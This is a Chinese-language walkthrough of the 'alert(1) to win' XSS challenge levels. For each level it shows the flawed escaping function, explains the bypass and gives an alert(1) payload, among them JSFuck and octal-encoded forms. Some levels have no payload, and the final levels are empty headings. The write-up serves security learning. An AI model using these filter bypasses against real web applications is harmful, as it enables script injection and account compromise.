前言 靶场地址:alert(1) to win
Warmup 源码 1 2 3 function escape (s ) { return '<script>console.log("' +s+'");</script>' ; }
分析 代码将输入直接拼接到了返回的字符串中,没有任何过滤,直接闭合console.log("即可。
payload 1 2 3 4 13个字符 ");alert(1)// 12个字符 ");alert(1,"
Adobe 源码 1 2 3 4 function escape(s) { s = s.replace(/"/g, '\\"'); return '<script>console.log("' + s + '");</script>'; }
分析
代码将输入的双引号加了一个\进行了转义,这样我们就不能像第一题那样闭合console.log了,但是没啥影响,有两种方法:
闭合之前的<script>,然后再写一个<script>
使用\来转义对"进行转义的\,从而绕过对"的过滤
payload 1 2 3 4 方法一 </script><script>alert(1)// 方法二 \");alert(1)//
JSON 源码 1 2 3 4 function escape(s) { s = JSON.stringify(s); return '<script>console.log(' + s + ');</script>'; }
分析
代码将输入使用JSON.stringify进行了处理,与第二题的方法一思路相同。
payload 1 </script><script>alert(1)//
Markdown 源码 1 2 3 4 5 6 7 8 function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"'); // URLs text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>'); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">'); return text; }
分析 代码进行了三步操作
第一步,将<和"转成了HTML实体
第二步,如果存在http://的字符串, 会可以生成一个a标签
第三步,解析Markdown的图片的语法,如果存在[[img123|Description]]格式的字符串,则变为``。
开头对"和<进行了编码操作,所以不能直接传入"来闭合,当前思路就是构造一个字符串,使其满足后两个正则,从而引入a标签中的",从而闭合img标签的alt属性。
payload 1 [[a|http://onerror=alert(1)//]]
DOM 源码 1 2 3 4 5 6 7 8 9 10 function escape(s) { // Slightly too lazy to make two input fields. // Pass in something like "TextNode#foo" var m = s.split(/#/); // Only slightly contrived at this point. var a = document.createElement('div'); a.appendChild(document['create' + m[0]].apply(document, m.slice(1))); return a.innerHTML; }
分析 代码实现了一个根据输入来创建的DOM节点的功能。 如果输入是TextNode#foo,那么执行的代码就是document.createTextNode("foo")。
常用命令
1 2 3 4 createElement() 创建一个元素节点 createTextNode() 创建一个文本节点 createAttribute() 创建一个属性节点 createComment() 创建一个注释节点
经过尝试,通过createComment()创建一个注释节点,然后闭合注释可以达到代码执行的目的。
payload 1 2 3 4 34个字符 Comment#><script>alert(1)</script> 32个字符 Comment#><iframe onload=alert(1)
Callback 源码 1 2 3 4 5 6 7 8 9 function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/</g, '\\u003c'); return "<script>" + thing[0] + "(" + json +")</script>"; }
分析 代码首先将输入的字符串按照#分割为两部分,第一部分是回调函数,只能使用大小写字母、[、]、',第二部分是JSON数据。 而且后面又将JSON数据中的尖括号转义成了\\u003c。 最终的目的依旧是执行JS代码,thing[0]部分不一定是一个函数,只要满足要求就OK。 既然回调函数名部分和后面的值都没有过滤单引号,可以在前后放两个单引号,从而闭合它们之间的值。再加个分号作为分割,后面就好操作了。
payload
Skandia 源码 1 2 3 function escape(s) { return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
分析 闭合<script>标签,但是方法alert(1),被转换成大写了,无法执行,尝试编码绕过。
payload 1 </script><img src onerror=alert(1)>
Template 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x; }); } function expandTemplate(template, args) { return template.replace( /{(\w+)}/g, function(_, n) { return htmlEscape(args[n]); }); } return expandTemplate( " \n\ <h2>Hello, <span id=name></span>!</h2> \n\ <script> \n\ var v = document.getElementById('name'); \n\ v.innerHTML = '<a href=#>{name}</a>'; \n\ <\/script> \n\ ", { name : s } ); }
分析 代码对输入的<、>、&、"、'、进行了转义,输入的字符串会拼接在{name}处。 由于没有过滤\,可以利用JS的8进制或者16进制编码来绕过。
payload 1 2 3 4 32个字符 \x3cimg src onerror=alert(1)\x3e 26个字符 \x3cstyle/onload=alert(1) //末尾有一个空格
JSON 2 源码 1 2 3 4 5 function escape(s) { s = JSON.stringify(s).replace(/<\/script/gi, ''); return '<script>console.log(' + s + ');</script>'; }
分析 对</script标签进行了过滤,由于正则中存在i修饰符,不区分大小写,不能使用大小写混合来绕过。
由于直接将字符串替换为空,可以双写绕过。
payload 1 </s</scriptcript><script>alert(1)//
Callback 2 源码 1 2 3 4 5 6 7 8 9 function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/\//g, '\\/'); return "<script>" + thing[0] + "(" + json +")</script>"; }
分析 与第6题的类似,但是转义了/,导致//这个注释符无法使用,但是JavaScript的注释符有三种,分别是//、/**/、<!-- 可以使用来注释。
payload
Skandia 2 源码 1 2 3 4 5 function escape(s) { if (/[<>]/.test(s)) return '-'; return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
分析 代码过滤了<、>。还将所有输入的字母变成了大写,不能借助toUpperCase()的特性来解了。 可以利用jsfuck。直接将");alert(1)//中的alert(1)用jsfuck表示。
JSfuck
但是直接使用工具生成的jsfuck太长了,不过我们还有另一种方法,就是JS的匿名函数。
我们可以通过这种方法来执行任意方法。
1 []['map']['constructor']('alert(1)')()
由于对字母进行了大写转换,我们可以将其进行8进制编码,然后闭合前面,注释后面。
1 ");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
payload 1 2 3 4 方法一 ");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// 方法二 ");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//
iframe 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function escape(s) { var tag = document.createElement('iframe'); // For this one, you get to run any code you want, but in a "sandboxed" iframe. // // https://4i.am/?...raw=... just outputs whatever you pass in. // // Alerting from 4i.am won't count. s = '<script>' + s + '<\/script>'; tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s); window.WINNING = function() { youWon = true; }; tag.setAttribute('onload', 'youWon && alert(1)'); return tag.outerHTML; }
分析 只要使youWon为true,这样就能执行alert(1)了。 解决思路是利用到iframe的特性,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。
payload
TI(S)M 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function escape(s) { function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); } function html(s) { return s.replace(/[<>"&]/g, function(s) { return '&#' + s.charCodeAt(0) + ';'; }); } return ( '<script>' + 'var url = ' + json(s) + '; // We\'ll use this later ' + '</script>\n\n' + ' <!-- for debugging -->\n' + ' URL: ' + html(s) + '\n\n' + '<!-- then suddenly -->\n' + '<script>\n' + ' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' + ' else new Image().src = url;\n' + '</script>' ); }
分析 本题用到了一个小trick:HTML5解析器会将<!--<script>到</script>之间的任何东西都当作JavaScript代码处理,同时要确保代码中还有一个-->来防止解析器报语法错误。
首先输入一个<!--<script>,此时的输出中
1 2 3 4 5 6 7 8 9 10 <script>var url = "<!--<script>"; // We'll use this later </script> <!-- for debugging --> URL: <!--<script> <!-- then suddenly --> <script> if (!/^http:.*/.test(url)) console.log("Bad url: " + url); else new Image().src = url; </script>
这一段所有的代码都会当做JS执行。 在后面有个正则表达式!/^http:.*/,其中的*/可以当做注释,那么我们在前面再加入一个/*即可闭合。 此时的输出为
1 2 3 4 5 6 7 8 9 10 <script>var url = "\/*<!--<script>"; // We'll use this later </script> <!-- for debugging --> URL: /*<!--<script> <!-- then suddenly --> <script> if (!/^http:.*/.test(url)) console.log("Bad url: " + url); else new Image().src = url; </script>
在注释符之前添加要执行的代码就可以了。
payload 1 if(alert(1)/*<!--<script>
JSON 3 源码 1 2 3 4 5 6 7 8 function escape(s) { return s.split('#').map(function(v) { // Only 20% of slashes are end tags; save 1.2% of total // bytes by only escaping those. var json = JSON.stringify(v).replace(/<\//g, '<\\/'); return '<script>console.log(' + json + ')</script>'; }).join(''); }
分析 题目思路与上一个题类似,借助<!--<script>来执行JS代码,不过因为后面没有-->,解析器会报错,需要我们在后面构造一个-->来避免报错。
构造的Payload为``,此时输出为
1 <script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>
其中/script>console.log(")/被当做了正则表达式解析,后面通过分号分割后,成功执行代码alert(1)。
payload 1 <!--<script>#)/;alert(1)//-->
Skandia 3 源码 1 2 3 4 5 function escape(s) { if (/[\\<>]/.test(s)) return '-'; return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
分析 payload RFC4627 源码 分析 payload Well 源码 分析 payload No 源码 分析 payload K’Z’K 源码 分析 payload 最后